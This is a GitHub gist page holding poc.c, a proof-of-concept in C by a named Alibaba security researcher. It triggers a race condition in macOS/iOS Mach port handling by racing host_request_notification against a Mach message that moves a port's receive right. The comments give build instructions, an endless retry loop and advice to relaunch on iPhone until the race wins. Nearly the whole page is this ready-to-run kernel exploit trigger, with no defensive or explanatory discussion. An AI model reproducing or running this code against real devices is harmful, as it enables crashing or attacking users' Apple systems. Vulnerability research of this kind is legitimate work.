Skip to content

Instantly share code, notes, and snippets.

@numanturle
Forked from infernalheaven/poc.c
Created September 16, 2021 08:44
Show Gist options
  • Select an option

  • Save numanturle/444c2b79e7fd5767b2c555042789f1e5 to your computer and use it in GitHub Desktop.

Select an option

Save numanturle/444c2b79e7fd5767b2c555042789f1e5 to your computer and use it in GitHub Desktop.

Revisions

  1. @Peterpan0927 Peterpan0927 created this gist Sep 15, 2021.
    89 changes: 89 additions & 0 deletions poc.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,89 @@
    /*
    Written By Pan ZhenPeng(@peterpan980927) of Alibaba Security Pandora Lab
    use it on macOS: cc poc.c -o poc while True; do ./poc ; done
    */

    #include <errno.h>
    #include <signal.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <pthread.h>
    #include <sys/mman.h>
    #include <sys/stat.h>

    #include <libkern/OSAtomic.h>
    #include <mach/mach.h>
    #include <mach/mach_error.h>
    #include <mach/mach_vm.h>
    #include <mach/task.h>
    #include <mach/task_special_ports.h>
    #include <mach/thread_status.h>

    typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t port;
    } port_msg_send_t;

    #define MACH_ERR(str, err) do { \
    if (err != KERN_SUCCESS) { \
    mach_error("[-]" str "\n", err); \
    exit(EXIT_FAILURE); \
    } \
    } while(0)

    #define FAIL(str) do { \
    printf("[-] " str "\n"); \
    exit(EXIT_FAILURE); \
    } while (0)

    #define LOG(str) do { \
    printf("[+] " str"\n"); \
    } while (0)

    int g_start = 0;
    mach_port_t reply_port = MACH_PORT_NULL;

    void *racer(void *param) {
    int err;
    while(!g_start) {}
    // usleep(1);
    err = host_request_notification(mach_host_self(), HOST_NOTIFY_CALENDAR_CHANGE, reply_port);
    MACH_ERR("host_request change to kobject", err);
    return NULL;
    }

    /*
    if race failed ->
    mach_port_guard_exception(name, 0, 0, kGUARD_EXC_IMMOVABLE);
    show EXC_GUARD in userspace if you wanna try this on iPhone, open the app many times until the race wins
    */

    int main() {
    int err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
    mach_port_insert_right(mach_task_self(), reply_port, reply_port, MACH_MSG_TYPE_MAKE_SEND);
    MACH_ERR("allocating reply port", err);
    pthread_t id = 0;
    pthread_create(&id, NULL, racer, NULL);
    g_start = 1;
    port_msg_send_t msg = {0};

    msg.header.msgh_size = sizeof(msg);
    msg.header.msgh_local_port = 0;
    msg.header.msgh_remote_port = reply_port;
    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;

    msg.body.msgh_descriptor_count = 1;

    msg.port.name = reply_port;
    msg.port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
    msg.port.type = MACH_MSG_PORT_DESCRIPTOR;

    usleep(1);
    err = mach_msg_send(&msg.header);
    MACH_ERR("sending task port message", err);
    return 0;
    }